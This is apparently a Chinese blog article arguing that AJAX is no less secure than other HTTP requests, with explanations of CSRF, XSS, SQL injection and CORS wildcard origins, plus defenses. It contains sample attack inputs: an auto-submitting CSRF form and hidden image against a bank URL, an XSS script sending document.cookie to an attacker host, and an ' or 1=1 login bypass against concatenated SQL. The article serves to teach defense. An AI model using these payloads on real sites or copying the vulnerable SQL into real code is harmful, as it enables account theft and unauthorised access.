開篇三問
-
AJAX請求真的不安全麼？
-
AJAX請求哪裏不安全？
-
怎麼樣讓AJAX請求更安全？
前言
本文包含的內容較多，包括AJAX，CORS，XSS，CSRF等內容，要完整的看完並理解需要付出一定的時間。
另外，見解有限，如有描述不當之處，請幫忙及時指出。
正文開始...
從入坑前端開始，一直到現在，AJAX請求都是以極高的頻率重複出現，也解決過不少AJAX中遇到的問題，如跨域調試，錯誤調試等等。
從這種，發現了一個共通現象：那就是每次和後臺人員對接時，他們都會提到AJAX請求不安全，請用普通http請求！
雖然很多時候，都是經過多翻口舌之爭後，最終後臺那邊妥協，允許部分符合條件的AJAX請求。但是，我卻很糾結一個問題：AJAX請求真的不安全麼？爲什麼我自己寫後臺時並沒有發現這個問題？
於是，開始準備蒐集資料，結合自己已有的認知，整理成一份解決方案，分析AJAX請求真的不安全麼？哪裏不安全？，後續遇到類似的問題就直接向對方拋出一篇文章
大綱
-
AJAX請求真的不安全麼
- AJAX不安全的說法從何而來
-
常見的幾種Web前端安全問題
-
CSRF簡介
-
CSRF與AJAX的關係
-
XSS簡介
-
XSS與AJAX的關係
-
SQL注入簡介
-
SQL注入與AJAX的關係
-
-
AJAX和HTTP請求的區別
-
CORS與AJAX安全性之間的關聯
-
CORS與AJAX關係的簡介
-
爲什麼要配置CORS？
-
CORS會配置些什麼信息？
-
CORS
Origin: *的安全性
-
-
再看，AJAX請求真的不安全麼？
-
AJAX請求哪裏不安全？
-
怎麼樣讓AJAX請求更安全？
AJAX請求真的不安全麼
首先，先說一個定論：AJAX請求是否安全，由服務端（後臺）決定
有這樣一個說法：如果某個Web應用具備良好的安全性，那麼再怎麼用“不安全的AJAX”也削弱不了它的安全性，反之如果應用本身存在漏洞，不管用何種技術請求，它都是不安全的
爲何會有這種說法？因爲在Web應用中，客戶端輸入不可信是一個基本原則
AJAX不安全的說法從何而來？
在AJAX出現時，那時的服務端還是很古老的那一批，因此完全沒有考慮到AJAX出現後，前端請求方式會變得異常複雜，造成以前的安全策略已經無法滿足要求了，導致大批的後臺安全漏洞曝光。。。
很顯然，都是因爲AJAX出現後曝光了更多的安全漏洞，導致它看起來很危險（因爲AJAX出現後，請求方式變多了，以前的架構在新的請求中就可能出現更多漏洞）
So，AJAX不安全的說法自然擴散到了各個角落。
常見的幾種Web前端安全問題
要知道AJAX請求是否安全，那麼就得先知道Web前端中到底有那幾種安全問題
1.XSS（跨站腳本攻擊）（cross-site scripting）
-> 僞造會話（基於XSS實現CSRF）
-> 劫持cookie
-> 惡意代碼執行
2.CSRF（跨站請求僞造）（cross-site request forgery）
-> 僞造用戶身份操作
3. SQL注入
...（其它暫且不提）
如上，Web前端中的安全問題主要就是這幾大類（僅列舉部分做分析），所以我們首先要分析AJAX與這幾大類之間的關係。（XSS和CSRF，在下文也會做簡單介紹。）
CSRF簡介
CSRF，特徵很簡單：冒用用戶身份，進行惡意操作
時至今日，這項安全漏洞已經被人們剖析的很透徹了，隨便Google，百度之，都會找到很多的解釋。這裏也用一張圖來先做簡單描述：
（注，下面介紹參考了來源文章中的描述，譬如圖就是參考了來源中的博文後重繪的）
所以，我們看到關鍵條件是：
1. 採用cookie來進行用戶校驗
2. 登錄受信任網站A，並在本地生成Cookie
3. 在不登出A的情況下，訪問危險網站B一般在(4)處惡意網站(B)的攻擊手段如下（必須是指向A的地址，否則無法帶上cookie）：
// 1.譬如在網站內的圖片資源中潛入惡意的轉賬操作
<img src=http://www.bank.example/transfer?toBankId=hello&amount=1000000 width='0' height='0'>
// 2.構建惡意的隱藏表單，並通過腳本提交惡意請求
<iframe style="display: none;" name="csrf-frame"></iframe>
<form method='POST' action='http://www.bank.example/transfer' target="csrf-frame" id="csrf-form">
<input type='hidden' name='toBankId' value='hello'>
<input type='hidden' name='amount' value='1000000'>
<input type='submit' value='submit'>
</form>
<script>document.getElementById("csrf-form").submit()</script>而且，從頭到尾，攻擊網站都沒有獲取到過 cookie，都是通過瀏覽器間接實現（利用Web的cookie隱式身份驗證機制），所以HttpOnly並不會影響這個攻擊
最後說下，幾種常見的CSRF防禦手段：
1. 驗證HTTP Referer字段（非常簡單，但是鑑於客戶端並不可信任，所以並不是很安全）
（防止CSRF，檢查Referer字段簡單直接，但是其完全依賴瀏覽器發送正確的Referer字段。
雖然http協議對此字段的內容有明確的規定，但並無法保證來訪的瀏覽器的具體實現，
亦無法保證瀏覽器沒有安全漏洞影響到此字段。並且也存在攻擊者攻擊某些瀏覽器，篡改其Referer字段的可能。）
2. 在請求地址中添加token並驗證
（譬如post中，以參數的形式加入一個隨機產生的token）CSRF與AJAX的關係
上文中，我們看到CSRF的前提是cookie驗證用戶身份，那麼它與AJAX的關係大麼？
我們先分析AJAX中帶cookie驗證的情況：
1. AJAX受到瀏覽器的同源策略限制
2. AJAX默認無法請求跨域的接口
（當然後臺可以配置`Access-Control-Allow-Origin: *`之類的允許所有的跨域請求）
3. AJAX請求無法攜帶跨域cookie
（如果強行開啓withCredentials，必須服務端配合認證，無法用作攻擊）嗯哼...看到這，基本就可以認爲CSRF與AJAX請求無緣了。。。
譬如假設上圖中第4部分的請求由AJAX發起，假設網站A已經允許了Access-Control-Allow-Origin: *，由於網站B與網站A是不同域名，所以存在跨域，根據同源策略，請求時根本就無法攜帶cookie，故而無法通過身份認證，攻擊失敗。。。
就算強行開啓withCredentials，攜帶跨域cookie，但是由於服務端並不會單獨配置網站B的跨域cookie（需配置Access-Control-Allow-Credentials: true，而且這時候不允許設置Allow-Origin: *），所以肯定認證失敗
可以看到，就算Access-Control-Allow-Origin: *允許所有來源的AJAX請求，跨域的cookie默認情況下仍然是無法攜帶的，無法CSRF
所以說，結論是：CSRF與AJAX無關
XSS簡介
既然CSRF與AJAX關係不大，那麼XSS應該會與AJAX有很大關係吧？（要不然爲什麼一直說AJAX請求不安全，對吧。）。那麼請繼續看下去（本文中只限JS範疇）
XSS（cross-site scripting），看起來簡寫應該是css更合適。。。但是爲了和層疊式樣式表區分，就用XSS簡寫表示
XSS的特徵也可以概括爲：跨域腳本注入，攻擊者通過某種方式將惡意代碼注入到網頁上，然後其他用戶觀看到被注入的頁面內容後會受到特定攻擊
相比CSRF，XSS囊括的內容更多，而且往往是多種攻擊形式組合而成，這裏以前文中介紹的幾種爲例：
1.cookie劫持
同樣，頁面中有一個評論輸入，輸入後會，因爲後臺的漏洞，沒有過濾特殊字符，會直接明文保存到數據庫中，然後展示到網頁時直接展示明文數據，那麼如下
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<form action="saveComment.jsp" method="post">
請輸入評論內容：<BR>
<input name="content" type="text">
<input type="submit" value="確認">
</form> 然後攻擊者分析後，輸入
<script>window.open("http://www.attackpage.com/record?secret=" + document.cookie)</script>保存文章。很簡單的代碼，由於沒有過濾腳本，那麼其它用戶登陸後，在看到這篇文章時就會自動將他們的cookie信息都發送到了攻擊者的服務器。
攻擊者可以在cookie（譬如jsessionid對應的session）有效期內拿它們冒充用戶操作。
需要注意，這裏和CSRF的區別是，這裏是拿到了cookie後主動冒充用戶的，而CSRF中根本就不知cookie，僅利用瀏覽器的隱式校驗方式冒充用戶。
2.會話僞造
同樣是評論漏洞的示例。
攻擊者輸入（舉例比喻）
<img src=http://www.bank.example/transfer?toBankId=hello&amount=1000000 width='0' height='0'>然後，接下來發生的故事就和CSRF中提到的一致。這種情況就是基於XSS而開展的CSRF，也有人喜歡稱之爲XSRF
需要注意，這裏並沒有自己拿到cookie，而是CSRF中提到的利用瀏覽器的隱式驗證機制來冒充用戶。
3.其它惡意代碼執行
其實上面的cookie劫持以及會話僞造都算是惡意代碼執行，爲了區別，這裏就專指前端的流氓JS。
譬如前面的評論中的輸入可以是：
譬如市面上盛行的網頁遊戲彈窗等。
譬如干脆直接讓這個頁面卡死都可以。
譬如無限循環。這裏再提一點，上述都是從前端輸入作爲入口的，但實際上有一類的輸入也不可忽視，那就是：富文本攻擊
它的特點就是： 富文本中注入了腳本，並且前後端未進行過濾，導致直接輸出到了頁面中
因爲存在很多頁面，都是將富文本內容展示到網頁上的，沒有進行過濾（哪怕時至今日，仍然有不少頁面），這樣只要富文本中有注入腳本，基本就中招了。。。
結論：
只要最終能向頁面輸出可執行的腳本語句，那麼就是有漏洞，XSS攻擊都有可能發生。
而且，基本上xss漏洞是很廣泛的，雖然攻擊類型很被動，也需要大量時間分析，但勝在大量的網站上都存在（特別是那種長期不更新的）
再提一點。上述的介紹更多的是從造成的後果來看，但其實如果從攻擊手動來看的話可以分爲幾大類型：反射型XSS攻擊（直接通過URL注入，而且很多瀏覽器都自帶防禦），存儲型XSS攻擊（存儲到DB後讀取時注入），還有一個DOM-Based型。
上述示例中都是存儲型，具體更多內容網上已經有很詳細的資料，這裏不再繼續深入，放一張圖鞏固下。
如何預防XSS：
-
輸入過濾，不信任用戶的任何輸入，過濾其中的“<”、“>”、“/”等可能導致腳本注入的特殊字符，
或者過濾“script”、“javascript”等腳本關鍵字，或者對輸入數據的長度進行限制等等，
還得考慮攻擊者使用十六進制編碼來輸入腳本的方式。 -
輸出進行編碼，和輸入過濾類似，不過是從輸出上着手，數據輸出到頁面時，經過HtmlEncoder等工具編碼，這樣就不會存在直接輸出可執行的腳本了
-
cookie設置
http-only，這樣用腳本就無法獲取cookie了
（這樣只有瀏覽器向Web服務器發起請求的時纔會帶上cookie字段，避免了XSS攻擊利用JavaScript的document.cookie獲取cookie） -
Cookie防盜，儘可能地避免在Cookie中泄露隱私，如用戶名、密碼等；
或者，爲了防止重放攻擊，可以將Cookie和IP進行綁定，這樣也可以阻止攻擊者冒充正常用戶的身份。 -
注意，特別是後臺，一定不能信任前端的輸入，需要過濾與校驗
XSS與AJAX的關係
以上分析了XSS造成一些影響與問題，仍然發現：與AJAX關係不大，因爲這些問題不管用不用AJAX都會發生。
看看這種情況，譬如上述的富文本注入中：
1. 某個接口採用AJAX交互
2. AJAX請求完後將對應富文本字段顯示到了頁面上-譬如innerHTML但是，這真的與AJAX無關，這是前後端沒有進行輸入輸出過濾而造成的後果。
所以，還是那句話：如果某個Web應用具備良好的安全性，那麼再怎麼用“不安全的AJAX”也削弱不了它的安全性，反之如果應用本身存在漏洞，不管用何種技術請求，它都是不安全的
SQL注入簡介
sql注入展開將也是一門很大的學問，很早以前更是大行其道（當然，現在...），這裏僅僅舉幾個最極端的示例。
前提是後臺沒有過濾前端的輸入數據，否則根本無法生效
假設頁面A中有一個登陸查詢存在拙劣的sql注入漏洞，這樣子的：（最極端，最傻的情況）
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<form action="login.jsp" method="post">
請輸入用戶名與密碼：<BR>
<input name="name" type="text">
<input name="password" type="text">
<input type="submit" value="登陸">
</form> 在接收到登陸請求後，服務端的實際執行代碼時是：
String sql = "SELECT * FROM users WHERE name = '" + name + "' AND password = '" + password + "'";然而有攻擊者分析出後臺可能存在漏洞，嘗試sql注入攻擊，輸入
name = ' or 1=1
password = anything那麼這樣，後臺接收到數據後，實際上查詢的結果是
SELECT * FROM users WHERE name = ' ' or 1=1 AND password = 'anything' 故而，攻擊者成功的繞過的用戶名，利用後臺漏洞登陸了。
當然了，像這類這麼低級的漏洞，現象幾乎已經不存在了，往往這類型漏洞需要仔細分析，耗時。（又或者是有內奸。。。）
SQL注入與AJAX的關係
額，從上述的示例中看不出和AJAX有什麼關係。但是我們可以這樣假設：
1. 有一個接口，接收AJAX post的數據
2. 數據中有一個字段 'name'，後臺接收到後沒有進行過濾，直接如上面的演示一樣，執行sql語句了
3. 所以AJAX中如果給那個字段傳入非法的注入信息，就會觸發這個漏洞，導致攻擊生效對，就是這樣極端的情況下才會發生，而且與AJAX並沒有關係，因爲換成任何一種其它請求都會有類似的情況。。。
所以說，結論是：SQL注入與AJAX無關
AJAX和HTTP請求的區別
從本質上將：AJAX就是瀏覽器發出的HTTP請求，只不過是瀏覽器加上了一個同源策略限制而已。
AJAX請求的XMLHTTPRequest對象就是瀏覽器開放給JS調用HTTP請求用的。
那麼AJAX和HTTP的區別呢？列出以下幾點：
-
AJAX請求受到瀏覽器的同源策略限制，存在跨域問題
-
AJAX在進行復雜請求時，瀏覽器會預先發出
OPTIONS預檢（HTTP自己是不會預檢的） -
從使用角度上說，AJAX使用簡單一點，少了些底層細節，多了些瀏覽器特性（如自動帶上同域cookie等）
-
所以說，和認證上的HTTP請求的區別就是-多了一次瀏覽器的封裝而已（瀏覽器會有自己的預處理，加上特定限制）
但是，從最終發出的報文來看，內容都是一樣的（HTTP協議規範的內容），AJAX是發送HTTP請求的一種方式
所以從這一點可以得出一個結論：AJAX本質上安全性和HTTP請求一樣
CORS與AJAX安全性之間的關聯
按照前文中提到的內容，基本無法得出AJAX與請求不安全的關聯。那麼接下來，再繼續分析，如果使用了跨域資源共享（CORS）後的安全性。
(因爲往往ajax都會伴隨着CORS)
CORS與AJAX關係的簡介
這是一個跨域共享方案，大致流程就是：（僅以複雜請求的預檢舉例-這一部分要求提前掌握CORS相關知識）
1. 前端AJAX請求前發出一個OPTIONS預檢，會帶一堆相關頭部發送給服務端
2. 服務端在接受到預檢時，檢查頭部，來源等信息是否合法，合法則接下來允許正常的請求，
否則直接無情的拒絕掉
3. 瀏覽器端如果收到服務端拒絕的信息（響應頭部檢查），就拋出對應錯誤。
否則就是正常的響應，接下來發出真正的請求（如POST）請求和響應的頭部信息大概如下：
Request Headers
// 在CORS中專門作爲Origin信息供後端比對，表示來源域。
Origin: http://xxx
Access-Control-Request-Headers: X-Requested-With
// 所有用setRequestHeader方法設置的頭部都將會以逗號隔開的形式包含在這個頭中，一般POST請求中就會帶上
Access-Control-Request-Method: OPTIONSResponse Headers
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Allow-Origin: http://xxx最終，客戶端發出的請求，必須符合服務端的校驗規則才能正確，服務端纔會返回正確頭部，否則只會請求失敗。報跨域錯誤。
以上僅是簡介，更多信息可以參考來源中的ajax跨域，這應該是最全的解決方案了
爲什麼要配置CORS？
因爲同源策略限制，AJAX無法請求跨域資源，CORS可以解決AJAX跨域請求問題。
因此：在本文中，配置CORS只是爲了AJAX能跨域請求
CORS會配置些什麼信息？
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Allow-Origin: http://xxx如上，加上這個配置後，必須符合要求的纔算是正常的請求，否則就會拒絕掉，一般AJAX跨域的話都會有OPTIONS，所以在預檢中就做了這一步。
可以看到，關鍵的可變信息是：Access-Control-Allow-Origin: http://xxx
這個配置就是域名白名單，規定在什麼樣的域名下才能進行AJAX跨域請求。
CORS Origin: *的安全性
關鍵問題來了，在上面的CORS配置是這樣的：
Access-Control-Allow-Origin: http://xxx但是這個配置只允許特定域名訪問，鑑於前端的複雜性，有時候調試起來不是很方便，因此有時候，會偷懶的設置爲：
Access-Control-Allow-Origin: *這個代表所有來源的跨域AJAX請求都能正常響應。
接下來我們再來分析設置Origin: *可能帶來哪些問題。（都是基於AJAX的情況）
問題1：會對cookie認證造成影響麼？
不會。雖然*代表了所有來源都能正常請求，但是同源策略下，是無法帶上跨域cookie的。因此根本無法用身份驗證。
而且，就算用withCredentials強行帶上跨域cookie，因爲後臺沒有支持，所以會報錯。（這可以看成是CORSs模型的最後一道防線）
再者，後臺就算配置Access-Control-Allow-Credentials允許跨域cookie，但是這時候的安全策略是Origin不允許爲，必須是一個明確的地址。
（否則你就可以看到瀏覽器的報錯信息-跨域cookie時，Origin不允許爲）
問題2：如果僞造Origin頭部呢？
首先，標準的瀏覽器中是不允許你僞造的（除非有嚴重漏洞），所以一般需要通過模擬客戶端請求僞造。
但是。在非瀏覽器情況下，本來就沒有同源策略。這又是何必。。。
所以說，僞造Origin與CORS並沒有關係。
問題3：如果後臺本來就存在漏洞呢？
做這樣一個假設，假設用戶所在網絡的內網中有一臺內網服務器，並且配置了允許所有的跨域請求：（當然，外網是請求不到內網的）
// 允許任何來自任意域的跨域請求
Access-Control-Allow-Origin: *再假設內網服務器上恰巧存在敏感資源，並且沒有額外設防，只要內網就能訪問。譬如：
192.168.111.23/users.md然後用戶訪問了惡意網頁，而像HTML之類的網頁都是下載到本地執行的，
正好網頁內有惡意代碼，去向192.168.111.23/users.md請求資源，再將接收到的服務端返回發送到攻擊者服務器。
（因爲加了Origin爲*，而且AJAX是由本地瀏覽器發出的，所以用戶下載到本地的惡意網站是可以訪問到用戶內網中的後臺的）
然後這些敏感數據就這樣被盜取了。
But，這是因爲服務端漏洞而存在的問題，設置Origin爲的後臺上爲何要放置敏感資源？正常設置爲Origin爲的最大作用是用作公共API。
而且更重要的是，爲何敏感資源就這樣輕易的被獲取了？爲什麼沒有二次驗證？
SO，後臺本身有漏洞，所以才導致被攻擊，AJAX恰好是攻擊的手段之一（除了AJAX外還會有其它的方式），所以很多鍋都甩到了AJAX頭上。
這樣，可以得出一個保守點的結論：
Origin如果不是*，AJAX請求並不會有安全問題，如果是*，可能會由於後臺的漏洞，不經意間，AJAX就被作爲一種攻擊手段了，導致了出現AJAX不安全的說法
再看，AJAX請求真的不安全麼？
仍然是最初的結論：
如果某個Web應用具備良好的安全性，那麼再怎麼用“不安全的AJAX”也削弱不了它的安全性，反之如果應用本身存在漏洞，不管用何種技術請求，它都是不安全的
我們可以看到，XSS也好，CSRF也好，以及其它隱藏的可能漏洞也好，本質上都是後臺已有漏洞造成的問題，AJAX最多是被用作一種攻擊手段（甚至某些裏面AJAX還無法使用）
提到AJAX請求不安全的，譬如有CORS裏面配置Origin: *造成某些極端情況下能通過AJAX發出攻擊。但事實上這也是其中的一種攻擊手段而已，沒有AJAX，該不安全的仍然不安全。
譬如還有的說法是：因爲在AJAX出現以前，如果出現安全漏洞，容易被察覺，但AJAX是異步的，更容易隱式的出現安全問題。。。這也與安全性的本質無關。
最重要一點，從Web應用安全角度來談，Web應用必須從不信任客戶端。所以不要再把鍋甩給AJAX。
AJAX請求哪裏不安全？
同上，AJAX本身並不存在這種安全問題。
不過有一點需注意，如果使用了CORS方案。
1. Allow-Origin可以設置特定的值，過濾特定的白名單
2. 對於一些公共的API，可以直接將Allow-Origin設置爲`*`
3. 當然，如果確認後臺沒有這些隱藏漏洞，可以直接使用`*`，畢竟也只是針對瀏覽器的同源策略而已，影響沒有那麼大。怎麼樣讓AJAX請求更安全？
仍然是文中反覆提到的結論：
讓Web後臺更安全，則AJAX請求也更安全，反之後臺有漏洞，不管怎麼樣都是不安全的
寫在最後的話
這樣的話，應該可以把AJAX不安全的鍋甩掉了吧？